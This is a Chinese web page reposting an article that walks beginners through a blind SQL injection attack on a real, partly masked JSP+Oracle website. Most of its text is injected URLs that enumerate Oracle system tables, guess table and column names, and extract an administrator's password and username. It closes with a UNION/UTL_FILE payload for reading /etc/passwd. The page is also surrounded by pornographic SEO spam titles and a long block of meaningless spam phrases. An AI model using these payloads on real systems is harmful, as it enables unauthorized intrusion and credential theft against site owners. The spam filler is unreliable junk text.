精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

JSP+Oracle SQL Injection之旅

安全 應用安全
SQL Injection可謂是長盛不衰的話題了,從ASP+MSSQL到PHP+MYSQL,一路走來也可謂是一路艱辛,其實只要我們靈活利用SQL語句,說不定就會給自己帶來意外的收獲。

SQL Injection可謂是長盛不衰的話題了,從ASP+MSSQL到PHP+MYSQL,一路走來也可謂是一路艱辛,同時也造就了這個技術領域內高手如云:Pskey、小勇、isno等人成為一代偶像人物。其實只要我們靈活利用SQL語句,說不定就會給自己帶來意外的收獲,自己也能過過高手癮呢!本文是寫給菜鳥看的,高手們別砍我哦!誰叫我也是菜鳥一只呢!現在很多大型網站,像銀行、政府網站一般采用的是JSP+Oracle,從WEB程序來看,普遍存在的問題還是很嚴重的,希望廣大的程序員管理人員注意這方面的安全隱患。

今天我們的目標也是JSP+Oracle的網站,對它進行SQL Injection的測試,希望達到引伸、開拓這種技術的目的。日標站點:http://www.****jp.cn /viewBulletin.do?type=C&bulletin_id=200404010797。如圖1所示。



圖1

首先我們看看Oracle的系統數據庫:
all_tables 存放當前ID和其他用戶的所有表。
user_tables 存放當前用戶所有表。
user_tab_columns 存放當前用戶表的所有列。

這些東西是后面操作的基礎,是非常重要的。下面就看具體的操作過程了。首先需要看一下系統表是否存在,一般都是存在的,沒有就沒得玩了,只能回家抱孩子了。提交URL:http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from all_tables) and '1'='1
這里是想看一下有沒有“all_tables”這個系統表,將“and”后的結果和0比較,如果后面為真,這整個語句都為真,并能正常返回頁面,反之就不能正常返回了。

下面的判斷也是這個道理,相信大家都明白,我就不多說了。再依次提交:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables) and '1'='1
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns) AND '1'='1
返回如下結果,如圖2所示。



圖2

都正確返回,說明存在猜測的系統表。下面看我們怎么猜它的其他表名(注意:Oracle里的表名、列名都是要大寫的,要注意輸寫,還有下面用的到Length()、Substr()等函數的說明,請查看相關資料)。

http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where substr(table_name,1,1)='P') and '1'='1
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where substr(table_name,1,2)='PL') and '1'='1
第二個字母為L,大家也可能用Ascii()來試試。得到一個表名,第一個字符為P,第二個字符為L。汗!一個一個的試,到后來才發現這里的步驟真是多余的……

我們再來看看這個表的長度,確定一下范圍才好猜,不然不知道要猜到什么時候才能結束:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where length(table_name)>8 and table_name like'%25PL%25') and '1'='1

沒有正確返回。看來不會大于8了,那我們試試等于8吧:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where length(table_name)=8 and table_name like'%25PL%25') and '1'='1

Yeah!正常返回,我們確定表名長度是8了。大家如果自己在猜測的時候,也可以用< >等來縮小范圍。下面我們繼續用上面的語句來猜測表名,最后得出的表名為PLAN_TAB。

TIPS:這里可以用Like來猜表,比如:看看有沒有什么ADMIN,USERS表什么的。
and 0<>(select count(*) from user_tables where table_name like '%25ADMIN%25') and '1'='1
and 0<>(select count(*) from user_tables where table_name like '%25USERS%25') and '1'='1

表名猜出來了,我們來檢測一下:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where table_name='PLAN_TAB') and '1'='1
正常返回。我們辛苦總算沒有白費,不過煙倒是犧牲了不少,不過革命尚未成功,同志仍需努力!繼續猜列名:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='PLAN_TAB' and column_name like '%25PASS%25') and '1'='1

試試有沒有PASS(一些很容易想到的我都試了)這個字段,結果很失望,什么都沒有。那有什么辦法將它猜出來呢?看下面的方法。

看來這個表里沒有什么敏感列名了,有點泄氣。再去翻翻Oracle的書,突然想到可以直接查列名,汗!可能是以前學MSSQL、MYSQL的時候形成固定思維了,忘了Oracle是不一樣的。那我們干脆來直接的
看看有沒有敏感列名吧!.
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where column_name like '%25PASS%25') and '1'='1

直接來猜看看有沒有PASS,和NAME這樣的列名。經測試有LIKE ID/NAME/PASSWD這三個列名,但它們有可能不在同一個表里,那我就拿LIKE PASS這個來測試。先來看看有PASSWD這個列名對應的表名的長度:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where column_name like '%25PASS%25' and length(table_name)=8) and '1'='1

得到有NAME這個字段對應的表的長度是8,繼續猜到對應的表名:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where column_name like '%25PASS%25' and substr(table_name,1,1)='T') and '1'='1

它們會不會在同一個表里呢?看完下面就知道了。得到PASS對應表名第一個字符為T:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where column_name like '%25PASS%25' and substr(table_name,1,8)='T_PASSWD') and '1'='1

一個字符一個字符來猜,方法跟上面猜表的過程一樣,只是前面多了一個條件“column_name like '%25PASS%25'”。最后得到這個表名為:T_PASSWD,接下來當然得把Like ID/NMAE/ PASSWD的列名猜完整:

http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,-2,2)='ID') and '1'='1

可以確定ID兩個字符在最后面兩個,大家可以改變Sbustr()里的值,慢慢縮小范圍:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) fromuser_tab_columns where table_name='T_PASSWD' and substr(column_name,1,1)='S') and '1'='1
得到第一個字符為S。

http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,1,2)='ST') and '1'='1

第二個字符為T。

http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,1,3)='STA') and '1'='1

第三個為A……直到第八個字符。

http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,1,8)=' STAFF_ID ') and '1'='1從這里就可以看出完全是同一個表了。其實遇到這么多次程序,還沒見過是分開建的表呢。最后得出表名是:T_PASSWD,列名有四個,分別是 STAFF_ID、STS、PASSWORD、LAST_DATE,后來證實這些猜解都是正確的(進了服務器就什么都看到咯,如圖3所示)。



圖3

以上的過程是很枯燥的,死了不少腦細胞,覺得和猜Access一樣。要是Oracle有像MSSQL月月秒年個直接暴庫、表的方法就好了。呵呵,接下來的事,當然是要搞個用戶名和密碼了。Come on!看看最小的STAFF_ID的值是多少:

http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797' and 1=(select min(STAFF_ID) from T_PASSWD) and '1'='1
返回正常。呵呵,不要客氣它就是我們的目標,把它的Password搞出來先。好戲就要上演了,真還想看看《黑客帝國》里的動畫:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797' and 0<>(select conut(*) from T_PASSWD where substr(PASSWORD,1,1)=’1’ and STAFF_ID=1) and '1'='1

當然大家也可以用Ascii()函數來猜,關于這方面很都前輩都說過了,這里就不再做說明,不然編輯說我騙稿費了,呵呵。猜不到10分鐘就出來了密碼:“19791108”,好像是生日喲。有密碼了,沒用戶還不行,接下來的事就簡單多了:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797' and 0<>(select conut(*) from T_PASSWD where substr(STS,1,1)=’1’ and STAFF_ID=’T’) and '1'='1

一步一步來。步驟和上面的沒多大差別,先看看長度,再一個個來猜。這個在猜的時候用的時間就長了一點,花了我25分鐘最后得到帳戶是:“TANGBIN”,注入過程正式結束!

最后補充幾點:如果開放Public組的UTL_FILE則有可能讀取服務器上的文件,如果設置錯誤,可以得到任何文件,如:讀出/etc/passwd 文件,不過它要和Union聯合使用,如:union select 'hoge','../../../../../etc/passwd','1','1','1' from SOMETABLE--。關于Union查詢,黑防七期上angel的PHP注入文章里已經介紹得比較詳細:前面的語句要構造假的條件,才能返回后面的查詢。當然,你也可以嘗試Update、 Insert、跨庫等,如果你想知道答案的話,自己來吧!相信黑防近期就會出這樣的文章了。當然如果你有什么好的辦法或者資料,記得給我一份喲。

責任編輯:王文文 來源: 小飯的沉默空間
相關推薦

2012-10-31 17:21:57

2011-07-21 09:41:30

SQL ServerDenali

2011-07-21 09:32:33

SQL ServerDenali

2011-03-25 13:35:36

2019-04-10 09:00:23

AWSOracle數據庫

2011-07-21 09:19:38

SQL ServerDenali

2009-08-10 16:25:30

JSP SQL Ser

2009-07-02 09:40:17

JSP導出Oracle

2009-05-21 10:08:49

SQL報表JSPHibernate

2009-11-16 13:47:35

Oracle SQL語

2009-11-17 13:35:40

Oracle SQL語

2010-09-08 13:31:24

2009-11-09 17:27:38

Oracle編碼SQL

2009-11-17 09:47:54

Oracle SQL語

2009-11-16 17:55:58

Oracle SQL語

2009-07-07 11:38:54

jsp oracle

2011-07-11 16:47:57

數據庫移植SQL ServerOracle

2011-07-11 16:10:38

SQL移植Oracle數據庫

2011-07-11 15:23:37

Sql DevelopOracle Migr

2010-04-13 15:04:16

Oracle優化
點贊
收藏

51CTO技術棧公眾號

欧美视频中文在线看| av不卡免费电影| 九九热这里只有精品6| 熟女人妻一区二区三区免费看| 牛牛精品在线视频| 91麻豆精东视频| 91久久久在线| 亚洲免费黄色网址| 国产高清欧美| 亚洲精品小视频在线观看| 爱爱爱爱免费视频| 2019中文字幕在线电影免费| 国产精品久久久久久久第一福利| 国产精品大全| 伊人色综合久久久| 亚洲美女视频在线免费观看| 中文字幕日韩欧美| 99久久免费看精品国产一区| 日韩毛片免费看| 欧美日韩国产精品专区 | 日本电影一区二区| 亚洲第一区在线观看| 在线观看日本一区二区| 国产一二在线播放| 亚洲色图欧美在线| 日本精品视频一区| 色一情一乱一乱一区91av| 奇米影视在线99精品| 韩国三级日本三级少妇99| 羞羞在线观看视频| 国内精品视频在线观看 | 国产欧美日韩中文字幕在线| 欧美三级韩国三级日本三斤在线观看| 婷婷色综合网| 中文字幕精品在线| 蜜桃av免费看| 天堂网av成人| 亚洲高清色综合| 奇米777在线视频| 国产精品久久久久久久久免费高清| 亚洲成人资源在线| 青青草综合视频| 精品孕妇一区二区三区| 欧美激情一区在线| 欧洲久久久久久| 你懂的视频在线| 91视频国产资源| 久久久久久国产精品免费免费| av网站在线免费看| 国产一区二区三区在线观看免费 | 欧美高清在线精品一区| 久久精品第九区免费观看| 黄色一级a毛片| 国产成人av在线影院| 亚洲一区二区自拍| 国产成人精品亚洲精品色欲| 国产一区二区三区av电影| 国产精品一区专区欧美日韩| 涩涩视频在线观看| 免费高清在线视频一区·| 国产成人拍精品视频午夜网站| 69国产精品视频免费观看| 国产精品久久久亚洲一区| 久久久久久美女| 奇米影视第四色777| 亚洲毛片在线| 欧美性在线视频| 黄色一级视频免费看| 久久尤物视频| 国产一区在线播放| 国产丝袜在线视频| 成人免费视频一区| 六月婷婷久久| sese在线视频| |精品福利一区二区三区| 亚洲国产精品女人| 日本不卡影院| 欧美日韩视频免费播放| 91蝌蚪视频在线观看| 久久久成人av毛片免费观看| 欧美丝袜自拍制服另类| 国产乱女淫av麻豆国产| 亚洲开心激情| 亚洲理论在线a中文字幕| 亚洲色图欧美色| 午夜久久tv| 青青久久aⅴ北条麻妃| 在线免费一级片| 国产suv精品一区二区三区| 激情视频一区二区| av在线三区| 六月婷婷综合网| 自产国语精品视频| 97激碰免费视频| 中文永久免费观看| 国产91丝袜在线18| 色阁综合av| 欧洲精品二区| 欧美亚洲尤物久久| 丰满人妻一区二区三区免费视频棣| 日韩电影在线观看完整免费观看| 在线精品播放av| 国产在线视频你懂的| 日韩国产成人精品| av一区二区三区免费| 成人资源www网在线最新版| 一个色综合av| 日本中文字幕精品—区二区| 日韩精品免费一区二区夜夜嗨| 久久精品国产成人精品| 久久国产黄色片| 国产精品一二三四| 日韩影片在线播放| 美女在线视频免费| 91精品国产综合久久久久久| 粉嫩av蜜桃av蜜臀av| 国产精品v一区二区三区| 国产精品一区二区三区久久| 日本成人一区| 亚洲va国产va欧美va观看| 中文av字幕在线观看| 精品72久久久久中文字幕| 欧美激情精品久久久久| 国产又粗又猛又爽又黄的视频一| 久久九九国产精品| 午夜免费福利小电影| 美女国产精品久久久| 最近2019中文字幕一页二页| 欧美 日韩 精品| 成人高清视频在线| 成人短视频在线观看免费| 日本在线一区二区| 一区二区亚洲精品国产| 亚洲国产成人无码av在线| 成人美女视频在线观看| 特级西西444| 欧洲精品99毛片免费高清观看| 色午夜这里只有精品| 尤物视频免费观看| 久久天天做天天爱综合色| 五十路熟女丰满大屁股| 哺乳挤奶一区二区三区免费看| 欧美成人精品影院| 国产成人a人亚洲精品无码| 亚洲欧美国产高清| www.午夜av| 天天综合一区| 666精品在线| 亚洲丝袜一区| 欧美tickling网站挠脚心| 美女福利视频在线观看| 国产福利一区二区三区视频| 无码人妻aⅴ一区二区三区日本| 日韩电影精品| 久久久精品久久久久| 国产原创中文av| 日韩美女精品在线| 久久人人爽人人片| 韩国欧美一区| 黄色一区三区| 精品亚洲美女网站| 日韩网站在线观看| 国产丰满美女做爰| 亚洲va欧美va国产va天堂影院| 国产伦精品一区二区免费| 99pao成人国产永久免费视频| 国外成人在线视频网站| 欧美aa在线观看| 亚洲欧美日韩中文视频| 自拍偷拍色综合| 亚洲三级在线观看| 欧美做受高潮中文字幕| 国产精品日本| 天堂精品视频| 精品一区二区三区中文字幕| 久久久人成影片一区二区三区| 天天干视频在线| 91黄色在线观看| 国产免费美女视频| 成人av动漫在线| 亚洲一区二区蜜桃| 91精品二区| 久久精品人人做人人爽电影| 国产一区二区三区朝在线观看| 精品国产网站地址| 理论片中文字幕| 欧美综合久久久| 日韩欧美中文字幕视频| 91色乱码一区二区三区| 一区二区免费av| 亚洲另类自拍| 中文字幕一区二区三区有限公司| silk一区二区三区精品视频| 国产精品av电影| 午夜伦理在线视频| 亚洲午夜精品久久久久久性色 | 97在线超碰| 永久555www成人免费| 国产高潮在线观看| 色爱区综合激月婷婷| 久久国产精品波多野结衣| 久久九九影视网| 怡红院一区二区| 精品亚洲成av人在线观看| 日本www在线视频| 99久久久久| 日本不卡一二三区| 91精品入口| 成人国产在线激情| 免费观看成人性生生活片| 欧美激情在线狂野欧美精品| 91官网在线| 日韩精品免费看| 亚洲av综合色区无码一区爱av| 欧美亚洲国产一区在线观看网站| 日韩伦理在线视频| 日本久久成人网| 色综合久久中文综合久久97| 国产人妻精品一区二区三区不卡| 91一区二区在线| 欧美老女人bb| 精彩视频一区二区| 无码日韩人妻精品久久蜜桃| 日韩视频在线一区二区三区| ijzzijzzij亚洲大全| 青青草国产成人a∨下载安卓| 久久手机视频| 琪琪久久久久日韩精品| 国产v亚洲v天堂无码| 欧美不卡在线观看| 成人h片在线播放免费网站| 亚洲承认视频| 日本一区二区在线播放| 麻豆mv在线看| 91精品国产99| 国产美女高潮在线观看| 久久久久久美女| a毛片在线观看| 久久精品亚洲94久久精品| 日本福利在线| 色综合影院在线| 99中文字幕一区| 色妞久久福利网| 欧美性天天影视| 精品国产一区二区三区久久久| 一级毛片视频在线| 在线免费观看羞羞视频一区二区| 国产系列电影在线播放网址| 亚洲欧美另类人妖| 深夜视频在线免费| 亚洲欧洲一区二区三区久久| 久草在线网址| 一区二区三区亚洲| 欧美日韩在线资源| 久久中文字幕在线| 污污的网站在线看| 国语自产偷拍精品视频偷 | 九九精品久久| 日本午夜精品一区二区三区| 欧美综合视频| 中文字幕一区二区三区最新| 欧美日本久久| 91丨porny丨探花| 香蕉久久夜色精品| 男人插女人下面免费视频| 看片的网站亚洲| 国产成人精品综合久久久久99| av在线这里只有精品| 99久久久无码国产精品性| 国产精品无遮挡| 国产97免费视频| 婷婷中文字幕一区三区| 天天干天天操天天操| 在线成人午夜影院| 人妻少妇一区二区三区| 亚洲男人av电影| 久操视频在线| 欧美夜福利tv在线| 国产精品久久久久久吹潮| 亚洲专区在线视频| 色天天色综合| 中文字幕久久综合| 精品动漫av| 欧美特级aaa| 成人午夜av影视| 在线观看免费黄色网址| 一区二区三区在线看| 国产视频1区2区| 日韩一区二区三区视频在线观看| 色就是色亚洲色图| 精品国偷自产在线| 超碰在线97国产| 国产欧美精品一区二区三区介绍| 中文字幕一区日韩精品| 欧美日韩一区二区视频在线 | 国产精品久久久网站| 四虎影院一区二区三区| 欧美精品二区| 最近中文字幕一区二区| 成人毛片老司机大片| 欧美xxxooo| 色婷婷综合久色| 亚洲精品久久久久久动漫器材一区 | 免费观看成年在线视频网站| 欧美成人免费全部| jizzjizz少妇亚洲水多| 国产一区在线观| 久久精品欧美一区| 亚洲色图38p| 99视频热这里只有精品免费| 日本午夜在线观看| 在线免费视频一区二区| 天天干天天舔天天射| 久久av资源网站| 激情久久99| 日本精品免费| 免费视频一区| 这里只有精品在线观看视频| 自拍偷拍亚洲综合| 中日韩在线观看视频| 日韩精品极品视频| 欧美78videosex性欧美| 91精品中文在线| 99免费精品| 99热一区二区| 国产精品久久久久9999吃药| 国产第一页在线观看| 亚洲黄色av女优在线观看| 免费在线看电影| 亚洲mm色国产网站| 香蕉视频国产精品| 天天影视色综合| 中文字幕亚洲在| 91精品国自产| 日韩在线观看网站| 巨胸喷奶水www久久久免费动漫| 久久天天狠狠| 国产精品色网| 国产ts丝袜人妖系列视频| 午夜电影网亚洲视频| 黄色片一区二区三区| 国内精品在线一区| 久久a爱视频| 少妇av一区二区三区无码| 北条麻妃一区二区三区| 国产午夜福利片| 亚洲国产成人久久综合一区| av电影院在线看| 精品国产电影| 久久综合五月| 国产不卡在线观看视频| 欧美日韩精品欧美日韩精品一综合| yourporn在线观看视频| 91精品免费看| 国产真实久久| 一本加勒比波多野结衣| 日韩欧中文字幕| aⅴ在线视频男人的天堂| 成人写真福利网| 好吊视频一区二区三区四区| 国产精品嫩草av| 色欧美片视频在线观看| 91大神在线网站| 亚洲综合大片69999| 一区在线视频| 亚洲精品成人无码熟妇在线| 欧美性受xxxx黑人xyx| 麻豆视频在线免费观看| 成人av蜜桃| 亚欧成人精品| 精品无码一区二区三区蜜臀| 日韩精品自拍偷拍| 手机在线观看av| 亚洲不卡一卡2卡三卡4卡5卡精品| 日本色综合中文字幕| 污污的视频在线免费观看| 亚洲国产精品系列| 一区二区视频免费完整版观看| youjizz.com亚洲| 成人黄色网址在线观看| 99成人精品视频| 欧美成人免费全部观看天天性色| 日韩激情毛片| 亚洲视频在线不卡| 欧美性色19p| 国产在线一区二区视频| 久久久久久草| 国产九色精品成人porny| 午夜影院免费在线观看| 久久亚洲精品一区| 神马午夜久久| 欧美专区第二页| 色视频一区二区| 日本动漫同人动漫在线观看| 日本欧洲国产一区二区| 成人av在线电影| 国产裸体无遮挡| 国产99久久精品一区二区永久免费 | 久久国产视频一区| 欧美成人免费全部|